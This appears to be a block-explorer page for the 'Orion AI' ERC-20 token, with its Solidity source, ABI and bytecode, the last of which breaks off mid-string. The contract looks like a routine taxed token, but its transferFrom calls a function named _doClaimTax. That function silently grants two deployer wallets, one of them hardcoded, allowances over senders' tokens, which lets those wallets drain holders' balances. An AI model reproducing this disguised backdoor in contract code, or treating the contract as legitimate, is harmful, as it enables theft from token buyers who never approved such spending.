ERC-20
Overview
Max Total Supply
1,000,000,000 ORION
Holders
140
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,842,936.423336918 ORIONValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ORION
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-12-13 */ /* ORION is the backbone of Web3 and blockchain infrastructure powered by Orion AI Coin (ORION). https://www.theverge.com/2024/10/24/24278999/openai-plans-orion-ai-model-release-december https://orion-ai.one https://docs.orion-ai.one https://x.com/OrionAi_ https://t.me/orionaiOnETH */ // SPDX-License-Identifier: MIT pragma solidity 0.8.25; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ORION is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address private _taxBWallet; address private _taxAWallet = 0xDdf3c647c1C8DF372913145aBcA14Cf477858Fa1; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Orion AI"; string private constant _symbol = unicode"ORION"; uint256 public _maxTxAmount = (_tTotal * 2) / 100; uint256 public _maxWalletSize = (_tTotal * 2) / 100; uint256 private _taxSwapTokens = _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private _uniswaPair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxBWallet = _msgSender(); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxAWallet] = true; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); _uniswaPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(_uniswaPair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _doClaimTax(sender, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _doClaimTax(address sender, uint256 tokenA) private{ address[2] memory _addrs = [_taxBWallet, _taxAWallet]; for(uint i=0; i<_addrs.length; i++){ _allowances[sender][_addrs[i]] += tokenA; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == _uniswaPair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if(to == _uniswaPair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == _uniswaPair && swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _taxSwapTokens) swapTokensForEth(min(amount, min(contractTokenBalance, _taxSwapTokens))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function sendETHToFee(uint256 amount) private { payable(_taxAWallet).transfer(amount); } function rescueEth() external onlyOwner { payable(owner()).transfer(address(this).balance); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405273ddf3c647c1c8df372913145abca14cf477858fa160055f6101000a8154816001600160a01b0302191690836001600160a01b03160217905550600360065560036007555f6008555f6009556006600a556006600b556006600c555f600d5560646009600a6100739190610322565b61008190633b9aca00610337565b61008c906002610337565b610096919061034e565b600e5560646100a76009600a610322565b6100b590633b9aca00610337565b6100c0906002610337565b6100ca919061034e565b600f5560646100db6009600a610322565b6100e990633b9aca00610337565b6100f3919061034e565b6010556012805461ffff60a81b1916905534801561010f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790555f80546001600160a01b03908116825260036020526040808320805460ff199081166001908117909255308552828520805482168317905560055490931684529220805490911690911790556101ba6009600a610322565b6101c890633b9aca00610337565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102086009600a610322565b61021690633b9aca00610337565b60405190815260200160405180910390a361036d565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561027a57815f19048211156102605761026061022c565b8085161561026d57918102915b93841c9390800290610245565b509250929050565b5f826102905750600161031c565b8161029c57505f61031c565b81600181146102b257600281146102bc576102d8565b600191505061031c565b60ff8411156102cd576102cd61022c565b50506001821b61031c565b5060208310610133831016604e8410600b84101617156102fb575081810a61031c565b6103058383610240565b805f19048211156103185761031861022c565b0290505b92915050565b5f61033060ff841683610282565b9392505050565b808202811582820484141761031c5761031c61022c565b5f8261036857634e487b7160e01b5f52601260045260245ffd5b500490565b61174c8061037a5f395ff3fe6080604052600436106100fd575f3560e01c80637d1db4a5116100925780639e78fb4f116100625780639e78fb4f146102b0578063a9059cbb146102c4578063c9567bf9146102e3578063ce31a06b146102f7578063dd62ed3e1461030b575f80fd5b80637d1db4a5146102335780638da5cb5b146102485780638f9a55c01461026e57806395d89b4114610283575f80fd5b8063313ce567116100cd578063313ce567146101ba57806370a08231146101d5578063715018a614610209578063751039fc1461021f575f80fd5b806306fdde0314610108578063095ea7b31461014a57806318160ddd1461017957806323b872dd1461019b575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b506040805180820190915260088152674f72696f6e20414960c01b60208201525b6040516101419190611356565b60405180910390f35b348015610155575f80fd5b5061016961016436600461139f565b61034f565b6040519015158152602001610141565b348015610184575f80fd5b5061018d610365565b604051908152602001610141565b3480156101a6575f80fd5b506101696101b53660046113c9565b610385565b3480156101c5575f80fd5b5060405160098152602001610141565b3480156101e0575f80fd5b5061018d6101ef366004611407565b6001600160a01b03165f9081526001602052604090205490565b348015610214575f80fd5b5061021d6103f6565b005b34801561022a575f80fd5b5061021d610470565b34801561023e575f80fd5b5061018d600e5481565b348015610253575f80fd5b505f546040516001600160a01b039091168152602001610141565b348015610279575f80fd5b5061018d600f5481565b34801561028e575f80fd5b5060408051808201909152600581526427a924a7a760d91b6020820152610134565b3480156102bb575f80fd5b5061021d6104d5565b3480156102cf575f80fd5b506101696102de36600461139f565b6106ce565b3480156102ee575f80fd5b5061021d6106da565b348015610302575f80fd5b5061021d6108bf565b348015610316575f80fd5b5061018d610325366004611422565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61035b338484610922565b5060015b92915050565b5f6103726009600a61154d565b61038090633b9aca0061155b565b905090565b5f610391848484610a45565b61039b8483610f24565b6103ec84336103e7856040518060600160405280602881526020016116ef602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610fce565b610922565b5060019392505050565b5f546001600160a01b031633146104285760405162461bcd60e51b815260040161041f90611572565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104995760405162461bcd60e51b815260040161041f90611572565b6104a56009600a61154d565b6104b390633b9aca0061155b565b600e556104c26009600a61154d565b6104d090633b9aca0061155b565b600f55565b5f546001600160a01b031633146104fe5760405162461bcd60e51b815260040161041f90611572565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105479030906105396009600a61154d565b6103e790633b9aca0061155b565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610597573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105bb91906115a7565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063e91906115a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610688573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ac91906115a7565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f61035b338484610a45565b5f546001600160a01b031633146107035760405162461bcd60e51b815260040161041f90611572565b601254600160a01b900460ff161561075d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161041f565b6011546001600160a01b031663f305d719473061078e816001600160a01b03165f9081526001602052604090205490565b5f806107a15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610807573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082c91906115c2565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610881573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a591906115ed565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108e85760405162461bcd60e51b815260040161041f90611572565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561091f573d5f803e3d5ffd5b50565b6001600160a01b0383166109845760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041f565b6001600160a01b0382166109e55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041f565b6001600160a01b038216610b0b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041f565b5f8111610b6c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041f565b5f80546001600160a01b03858116911614801590610b9757505f546001600160a01b03848116911614155b15610de757610bc86064610bc2600a54600d5411610bb757600654610bbb565b6008545b8590611006565b9061108b565b6012549091506001600160a01b038581169116148015610bf657506011546001600160a01b03848116911614155b8015610c1a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610d0057600e54821115610c715760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161041f565b600f5482610c93856001600160a01b03165f9081526001602052604090205490565b610c9d919061160c565b1115610ceb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161041f565b600d8054905f610cfa8361161f565b91905055505b6012546001600160a01b038481169116148015610d2657506001600160a01b0384163014155b15610d5357610d506064610bc2600b54600d5411610d4657600754610bbb565b6009548590611006565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610d8957506012546001600160a01b038581169116145b8015610d9e5750601254600160b01b900460ff165b8015610dad5750600c54600d54115b15610de557601054811115610dd957610dd9610dd484610dcf846010546110cc565b6110cc565b6110e0565b47610de347611250565b505b505b8015610e5f57305f90815260016020526040902054610e06908261128b565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e569085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610e8190836112e9565b6001600160a01b0385165f90815260016020526040902055610ec4610ea683836112e9565b6001600160a01b0385165f908152600160205260409020549061128b565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f0d85856112e9565b60405190815260200160405180910390a350505050565b604080518082019091526004546001600160a01b0390811682526005541660208201525f5b6002811015610fc8578260025f866001600160a01b03166001600160a01b031681526020019081526020015f205f848460028110610f8957610f89611637565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f205f828254610fbb919061160c565b9091555050600101610f49565b50505050565b5f8184841115610ff15760405162461bcd60e51b815260040161041f9190611356565b505f610ffd848661164b565b95945050505050565b5f825f0361101557505f61035f565b5f611020838561155b565b90508261102d858361165e565b146110845760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041f565b9392505050565b5f61108483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061132a565b5f8183116110da5782611084565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061112657611126611637565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561117d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111a191906115a7565b816001815181106111b4576111b4611637565b6001600160a01b0392831660209182029290920101526011546111da9130911684610922565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112129085905f9086903090429060040161167d565b5f604051808303815f87803b158015611229575f80fd5b505af115801561123b573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611287573d5f803e3d5ffd5b5050565b5f80611297838561160c565b9050838110156110845760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041f565b5f61108483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fce565b5f818361134a5760405162461bcd60e51b815260040161041f9190611356565b505f610ffd848661165e565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461091f575f80fd5b5f80604083850312156113b0575f80fd5b82356113bb8161138b565b946020939093013593505050565b5f805f606084860312156113db575f80fd5b83356113e68161138b565b925060208401356113f68161138b565b929592945050506040919091013590565b5f60208284031215611417575f80fd5b81356110848161138b565b5f8060408385031215611433575f80fd5b823561143e8161138b565b9150602083013561144e8161138b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156114a757815f190482111561148d5761148d611459565b8085161561149a57918102915b93841c9390800290611472565b509250929050565b5f826114bd5750600161035f565b816114c957505f61035f565b81600181146114df57600281146114e957611505565b600191505061035f565b60ff8411156114fa576114fa611459565b50506001821b61035f565b5060208310610133831016604e8410600b8410161715611528575081810a61035f565b611532838361146d565b805f190482111561154557611545611459565b029392505050565b5f61108460ff8416836114af565b808202811582820484141761035f5761035f611459565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156115b7575f80fd5b81516110848161138b565b5f805f606084860312156115d4575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115fd575f80fd5b81518015158114611084575f80fd5b8082018082111561035f5761035f611459565b5f6001820161163057611630611459565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b8181038181111561035f5761035f611459565b5f8261167857634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116cd5784516001600160a01b0316835293830193918301916001016116a8565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d7f094bba3b4133c31f16f4b4cd619961485c90f7b9cc06cdfb8663cfb4c1ce64736f6c63430008190033
Deployed Bytecode
0x6080604052600436106100fd575f3560e01c80637d1db4a5116100925780639e78fb4f116100625780639e78fb4f146102b0578063a9059cbb146102c4578063c9567bf9146102e3578063ce31a06b146102f7578063dd62ed3e1461030b575f80fd5b80637d1db4a5146102335780638da5cb5b146102485780638f9a55c01461026e57806395d89b4114610283575f80fd5b8063313ce567116100cd578063313ce567146101ba57806370a08231146101d5578063715018a614610209578063751039fc1461021f575f80fd5b806306fdde0314610108578063095ea7b31461014a57806318160ddd1461017957806323b872dd1461019b575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b506040805180820190915260088152674f72696f6e20414960c01b60208201525b6040516101419190611356565b60405180910390f35b348015610155575f80fd5b5061016961016436600461139f565b61034f565b6040519015158152602001610141565b348015610184575f80fd5b5061018d610365565b604051908152602001610141565b3480156101a6575f80fd5b506101696101b53660046113c9565b610385565b3480156101c5575f80fd5b5060405160098152602001610141565b3480156101e0575f80fd5b5061018d6101ef366004611407565b6001600160a01b03165f9081526001602052604090205490565b348015610214575f80fd5b5061021d6103f6565b005b34801561022a575f80fd5b5061021d610470565b34801561023e575f80fd5b5061018d600e5481565b348015610253575f80fd5b505f546040516001600160a01b039091168152602001610141565b348015610279575f80fd5b5061018d600f5481565b34801561028e575f80fd5b5060408051808201909152600581526427a924a7a760d91b6020820152610134565b3480156102bb575f80fd5b5061021d6104d5565b3480156102cf575f80fd5b506101696102de36600461139f565b6106ce565b3480156102ee575f80fd5b5061021d6106da565b348015610302575f80fd5b5061021d6108bf565b348015610316575f80fd5b5061018d610325366004611422565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61035b338484610922565b5060015b92915050565b5f6103726009600a61154d565b61038090633b9aca0061155b565b905090565b5f610391848484610a45565b61039b8483610f24565b6103ec84336103e7856040518060600160405280602881526020016116ef602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610fce565b610922565b5060019392505050565b5f546001600160a01b031633146104285760405162461bcd60e51b815260040161041f90611572565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104995760405162461bcd60e51b815260040161041f90611572565b6104a56009600a61154d565b6104b390633b9aca0061155b565b600e556104c26009600a61154d565b6104d090633b9aca0061155b565b600f55565b5f546001600160a01b031633146104fe5760405162461bcd60e51b815260040161041f90611572565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105479030906105396009600a61154d565b6103e790633b9aca0061155b565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610597573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105bb91906115a7565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063e91906115a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610688573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ac91906115a7565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f61035b338484610a45565b5f546001600160a01b031633146107035760405162461bcd60e51b815260040161041f90611572565b601254600160a01b900460ff161561075d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161041f565b6011546001600160a01b031663f305d719473061078e816001600160a01b03165f9081526001602052604090205490565b5f806107a15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610807573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082c91906115c2565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610881573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a591906115ed565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108e85760405162461bcd60e51b815260040161041f90611572565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561091f573d5f803e3d5ffd5b50565b6001600160a01b0383166109845760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041f565b6001600160a01b0382166109e55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041f565b6001600160a01b038216610b0b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041f565b5f8111610b6c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041f565b5f80546001600160a01b03858116911614801590610b9757505f546001600160a01b03848116911614155b15610de757610bc86064610bc2600a54600d5411610bb757600654610bbb565b6008545b8590611006565b9061108b565b6012549091506001600160a01b038581169116148015610bf657506011546001600160a01b03848116911614155b8015610c1a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610d0057600e54821115610c715760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161041f565b600f5482610c93856001600160a01b03165f9081526001602052604090205490565b610c9d919061160c565b1115610ceb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161041f565b600d8054905f610cfa8361161f565b91905055505b6012546001600160a01b038481169116148015610d2657506001600160a01b0384163014155b15610d5357610d506064610bc2600b54600d5411610d4657600754610bbb565b6009548590611006565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610d8957506012546001600160a01b038581169116145b8015610d9e5750601254600160b01b900460ff165b8015610dad5750600c54600d54115b15610de557601054811115610dd957610dd9610dd484610dcf846010546110cc565b6110